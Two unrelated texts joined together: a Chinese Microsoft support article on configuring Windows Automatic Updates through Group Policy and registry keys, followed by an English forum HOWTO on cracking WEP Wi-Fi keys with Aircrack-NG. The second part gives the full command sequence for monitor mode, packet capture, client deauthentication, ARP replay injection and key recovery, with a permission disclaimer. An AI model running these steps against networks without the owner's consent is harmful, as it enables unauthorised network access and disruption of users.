    1. 单击“开始”,然后单击“运行”。
    2. 键入 gpedit.msc,然后单击确定
    3. 展开“计算机配置”。
    4. 右键单击“管理模板”,然后单击“添加/删除模板”。
    5. 单击“添加”,单击 WindowsInf 文件夹中的“Wuau.adm”,然后单击“打开”。
    6. 单击“关闭”。
    7. 在“计算机配置”下依次展开“管理模板”、“Windows 组件”和“Windows Update”。

      即会出现“配置自动更新”策略。此策略指定计算机通过 Windows 自动更新功能接收安全更新及其他重要下载。此策略的设置可让您指定是否在计算机上启用自动更新。如果此服务已启用,则您必须选择以下三个配置选项之一。

    8. 要查看策略设置,请双击“配置自动更新”策略。
    9. 要打开“自动更新”,请单击出现在“设置”选项卡顶部的选项列表中的“启用”。

      如果您单击“启用”,则必须选择在步骤 10 中列出的三个配置选项之一。

    10. 选择下列三个选项之一:
      • 2 – 提醒下载并提醒安装

        当 Windows 发现有适用于此计算机的更新时,通知区域会出现一个图标,同时会出现一条消息,提醒已准备就绪可以进行下载。如果单击该图标或该消息,即会出现您用来选择想要下载的更新的选项。Windows 在后台下载选定的更新。完成下载后,图标会再次出现在通知区域中,同时显示一条消息,提醒已准备就绪可以进行安装。如果单击该图标或该消息,即会出现您用来选择想要安装的更新的选项。

      • 3 – 自动下载并提醒安装

        注意:此设置为默认设置。

        Windows 查找适用于您的计算机的更新并在后台下载这些更新(用户在此过程中不会收到提醒,或不会受到干扰)。完成下载后,图标会出现在通知区域中,同时显示一条消息,提醒已准备就绪可以进行安装。如果单击该图标或该消息,即会出现您用来选择想要安装的更新的选项。

      • 4 – 自动下载并计划安装

        要指定计划,请在“组策略设置”对话框中选择相应的选项。如果不指定计划,则对所有安装使用默认计划。该计划规定在每天早晨 3:00 进行更新。如果任何更新要求您重新启动计算机以完成安装,则 Windows 会自动地重新启动计算机。(如果用户在 Windows 准备就绪可以重新启动时登录到计算机,则用户会得到 Windows 将重新启动的提醒。用户可以选择延迟重新启动操作。)

        如果选择“4 – 自动下载并计划安装”,可以设置周期性计划。如果您不设置计划,则在每天早晨 3:00 下载和安装所有更新。

      • 其他选项

        此外,您还可以选择“禁用”或“未配置”选项。如果您选择“禁用”,则管理员必须从 Microsoft Windows Update Web 站点手动下载和安装所有可用的更新。

        如果您选择“未配置”,则自动更新状态将不会在组策略级别指定。状态既可以是“启用”,也可以是“不启用”。不过,管理员仍可以通过使用控制面板配置自动更新。控制面板包含与组策略中相同的设置。

    注意:Windows Server 2003 自动更新功能和软件更新服务 (SUS) Service Pack 1 (SP1) 客户端中提供了更新的管理模板(.adm 文件)。此更新策略文件添加了下面两个新策略:

    • 重新计划自动更新计划的安装

      该策略指定启动计算机后,自动更新必须等待多长时间才能执行以前漏掉的计划安装。

    • 不为计划的自动更新安装进行自动重新启动

      该策略指定自动更新将等待任何登录的用户重新启动计算机,以完成计划的安装。如果不使用该策略,计算机将自动重新启动。

    Windows Server 2003 中提供了更新的客户端和策略文件。要为基于 Windows 2000 和 Windows XP 的计算机下载 SUS SP1 客户端,请访问以下 Microsoft Web 站点:

    要为基于 Windows 2000 和 Windows XP 的计算机下载更新的管理模板,请访问下面的 Microsoft Web 站点:

    使用 Active Directory 目录服务中的组策略加载策略设置

    要使用组策略加载策略设置,必须使用 Wuau.adm 文件,该文件描述了自动更新客户端新的策略设置。Wuau.adm 是在您安装新的自动更新功能时自动安装在 WindowsInf 文件夹中的。

    可将 WindowsInfWuau.adm 作为管理模板加载到组策略对象编辑器。

    使用 Active Directory 中的组策略加载策略设置的步骤如下:

    1. 在 Active Directory 域控制器上,单击“启动”,然后单击“运行”。
    2. 键入 dsa.msc
    3. 右键单击您想要在其中创建策略的组织单位或域,然后单击“属性”。
    4. 单击“组策略”选项卡,然后单击“新建”。
    5. 为该策略键入一个名称,然后单击“编辑”。
    6. 在“计算机设置”下,右键单击“管理模板”。
    7. 单击“添加/删除模板”,然后单击“添加”。
    8. 键入自动更新 .adm 文件的名称,例如,键入 windows_folderinfwuau.adm
    9. 单击“打开”。

    通过编辑注册表配置自动更新

    警告:注册表编辑器使用不当可导致严重问题,可能需要重新安装操作系统。Microsoft 不能保证您可以解决因注册表编辑器使用不当而导致的问题。使用注册表编辑器需要您自担风险。

    在非 Active Directory 环境中,您可以编辑注册表设置来配置自动更新。

    注意:您必须手动创建这些注册表项。

    您可以使用下列方法之一来设置这些注册表项:

    • 使用注册表编辑器 (regedit.exe) 手动编辑注册表。
    • 使用 Windows NT 4.0 类型的系统策略功能集中部署这些注册表项。

    要使用注册表编辑器,请执行以下步骤:

    1. 单击“开始”,单击“运行”,然后在“打开”框中键入 regedit
    2. 在注册表中找到并单击以下注册表项:
      HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
    3. 添加以下任一设置:
      • 数值名称:NoAutoUpdate
        数值数据:0 或 1
        • 0: 启用自动更新(默认)。
        • 1: 禁用自动更新。

        注册表数值类型:Reg_DWORD

      • 数值名称:AUOptions
        数值数据:1 到 4
        • 1: 自动更新中的“保持我的计算机最新”已被禁用。
        • 2: 提醒下载和安装。
        • 3: 自动下载并提醒安装。
        • 4: 自动下载并自动执行计划的安装。

        注册表数值类型:Reg_DWORD

      • 数值名称:ScheduledInstallDay
        数值数据:0 到 7
        • 0: 每天。
        • 1 到 7:一周内所有日子,从周日 (1) 到周六 (7)。

        注册表数值类型:Reg_DWORD

      • 数值名称:ScheduledInstallTime
        数值数据:n,其中 n 为一天 24 小时中的某一整点 (0-23)。
        注册表数值类型:Reg_DWORD
      • 数值名称:UseWUServer
        数值数据:将此值设置为 1,则自动更新将使用正运行软件更新服务而不是 Windows 更新的服务器。
        注册表数值类型:Reg_DWORD
      • 数值名称:RescheduleWaitTime
        数值数据:m,其中 m 为自动更新从启动到开始执行那些错过计划时间的安装所等待的时间。(该时间的单位为分钟,从 1 到 60,代表 1 分钟到 60 分钟)
        注册表数值类型:Reg_DWORD

        注意:客户端更新为 SUS SP1 客户端版本或更高版本后,此设置仅影响客户端行为。

      • 数值名称:NoAutoRebootWithLoggedOnUsers
        数值数据:Reg_DWORD:0 (false) 或 1 (true)。如果设置为 1,当有登录用户时,自动更新不会自动重新启动计算机。
        注册表数值类型:Reg_DWORD

        注意:客户端更新为 SUS SP1 客户端版本或更高版本后,此设置影响客户端行为。

      要在一个正运行软件更新服务的服务器上使用自动更新,请参见 Software Update Services Deployment 白皮书。要查看此白皮书,请访问下面的 Microsoft Web 站点:

    直接使用策略注册表项配置自动更新时,此策略会替代由本地管理用户设置的用来配置客户端的首选项。如果管理员日后删除此注册表项,则会重新使用本地管理用户设置的首选项。

    要确定您的客户机和服务器为获得其更新而进入的、正在运行 SUS 的服务器,请将下面的注册表值添加到注册表中:

    HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate

    数值名称:WUServer
    注册表数值类型:Reg_SZ
    WUServer 根据 HTTP 名称设置 SUS 服务器(例如,http://IntranetSUS)。

    数值名称:WUStatusServer
    注册表数值类型:Reg_SZ
    WUStatusServer 根据 HTTP 名称设置 SUS 统计数据服务器(例如,http://IntranetSUS)。

    注册表值


    这篇文章中的信息适用于:
    • Microsoft Windows Server 2003, 64-Bit Datacenter Edition
    • Microsoft Windows Server 2003, Enterprise x64 Edition
    • Microsoft Windows Server 2003 Datacenter Edition
    • Microsoft Windows Server 2003 Enterprise Edition
    • Microsoft Windows Server 2003 Standard Edition
    • Microsoft Windows XP Professional Edition
    • Microsoft Windows XP Professional x64 Edition
    • Microsoft Windows XP Tablet PC Edition
    • Microsoft Windows 2000 Server
    • Microsoft Windows 2000 Advanced Server
    • Microsoft Windows 2000 Professional Edition
    关键字: 
    kbregistry kbhowto kbprb KB328010

    HOWTO: Aircrack-NG (Simple Guide)

    HOWTO: Aircrack-NG (Simple Guide)

    This HOWTO is widely based on Aircrack’s own documentation. In addition you’ll find the latest version of "Aircrack Next Generation" here and Aircrack-PTW here.

    Any suggestions for improvement are welcome. Aim is to keep this HOWTO
    as simple & comprehensive as possible as I believe that brevity is
    the soul of wit.

    DISCLAIMER:
    Note that you need formal permission from the owner of any wireless
    network you wish to audit. Under no circumstances must you compromise a
    network’s security prior to obtaining approval from the owner of the
    network, and no support will be given to users who seek to do otherwise.

    GENERAL INFORMATION:
    Generally speaking there are 3 types of attacks:

    1. Brute force attack
    2. Dictionary attack
    3. Statistical attack

    By
    exploiting several security weaknesses of the WEP protocol Aircrack NG
    makes use of a statistical method to recover WEP keys. Provided that
    you have collected a sufficient number of IVs (= Initialization
    Vectors) and depending on the length of the encryption key, determining
    the actual WEP key will take less than a minute on a common PC.

    HARDWARE:
    I assume that you have successfully patched the driver for your
    wireless adapter (e.g. Ralink chipset), so I won’t go into this. I have
    tested packet injection and decryption with:

    1. Intel® PRO/Wireless 2200BG (IPW2200)
    2. Linksys WUSB54G V4.0 (RT2570)

    I
    recommend "Linksys WUSB54G V4.0" as it has a decent reception and
    reasonable performance. If you need help patching & compiling from
    source, feel free to post your problems here as well.

    DRIVERS & PATCHES:
    Before you proceed you need to compile your own drivers & install patches for packet re-injection. You find instructions here.

    PREREQUISITES:
    1. You have successfully patched your wireless driver (see link above).
    2. This HOWTO was written for Aircrack-NG v0.9.1 & Aircrack-PTW v1.0.0 on Kubuntu Feisty Fawn 7.04 (32-bit).
    3. ’00:09:5B:D7:43:A8′ is the MAC address of my network, so you need to replace it with your own.
    4. ’00:00:00:00:00:00′ is the MAC address of the target client, NOT that of your own wireless card.

    COMMAND LINE:
    Please make sure that you stick to the exact sequence of actions and pay attention to section on MAC filtering.

    • 1. Enable monitoring with "airmon-ng" (screenshot #1):
      Quote:

      sudo airmon-ng start <interface> <channel>

    • 2. Packet capturing with "airodump-ng" (screenshot #2):
      Quote:

      sudo airodump-ng –channel <channel> –write <file_name> <interface>

      Alternatively, try this (to collect data from target network only and hence increase performance):

      Quote:

      sudo airodump-ng –channel <channel> –bssid 00:09:5B:D7:43:A8 –write <file_name> <interface>

      NOTE:
      –channel… Select preferred channel; optional, however, channel
      hopping severely impacts and thus slows down collection process.
      –bssid… MAC address of target access point; optional, however,
      specifying access point will improve performance of collection process.
      –write… Preferred file name; mandatory field (in our case).

    • 3.1. Now check if MAC filtering is enabled or turned off:
      Quote:

      sudo aireplay-ng -1 0 -e <target_essid> -a 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>

      NOTE:
      -1… ‘0’ deauthenticates all clients.
      -e… ESSID of target access point.
      -a… MAC address of target access point.
      -h… MAC address of your choice.

    • 3.2. If the resulting output looks like this…
      Quote:

      18:22:32 Sending Authentication Request
      18:22:32 Authentication successful
      18:22:32 Sending Association Request
      18:22:32 Association successful 🙂

      …then MAC filtering is turned off & you can continue following section ‘No MAC filtering’, otherwise jump to section ‘MAC filtering’.

    >> No MAC filtering <<

    • 4. Packet Re-injection with "aireplay-ng" (screenshot #4):
      Quote:

      sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>

      You’ll now see the number of data packets shooting up in
      ‘airodump-ng’. This process can take up to five minutes before you
      start receiving any ARP requests. So be a little patient at this point.
      As MAC filtering is off, use an arbitrary MAC address
      (‘MY:MA:CA:DD:RE:SS’).

      Continue with #6.

      NOTE:
      -3… Standard ARP-request replay.
      -b… MAC address of target access point.
      -h… MAC address of your choice.

    >> MAC filtering <<

    • 4. Deauthentication with "aireplay-ng" (screenshot #3):
      Quote:

      sudo aireplay-ng -0 5 -a 00:09:5B:D7:43:A8 -c 00:00:00:00:00:00 <interface>

      NOTE:
      -0… Number of deauthentication attempts.
      -a… MAC address of target access point.
      -c… Client MAC address.

    • 5. Packet Re-injection with "aireplay-ng" (screenshot #4):
      Quote:

      sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h 00:00:00:00:00:00 <interface>

      You’ll now see the number of data packets shooting up in
      ‘airodump-ng’. This process can take up to five minutes before you
      start receiving any ARP requests. So be a little patient at this point.

      NOTE:
      -3… Standard ARP-request replay.
      -b… MAC address of target access point.
      -h… Client MAC address.

    • 6. Decryption with "aircrack-ng" & "aircrack-ptw" (screenshot #5):

      Aircrack-ng:

      Quote:

      sudo aircrack-ng <file_name>.cap

      Aircrack-PTW:

      Quote:

      ./aircrack-ptw <file_name>.cap

    CAPTURING:
    This is a summary based on information given here and there, respectively:

    Aircrack-NG:
    64-bit key: ~250,000 packets
    128-bit key: ~1,500,000 packets

    Aircrack-PTW:
    64-bit key: ~20,000 packets [estimate]
    128-bit key: ~85,000 packets

    FINALLY:
    That’s it. I am open for further suggestions and hope to gain as much
    input as possible so that we can improve this guide and at the same
    time, keep it as simple as possible for other users.

    CHANGE LOG:
    17/08/2007: First version (wieman01).
    20/08/2007: Aircrack-PTW extension (wieman01).
    09/11/2007: General overhaul after a long break 😉 and extension with regard to MAC filtering (wieman01).
    22/12/2008: Update driver patches (wieman01).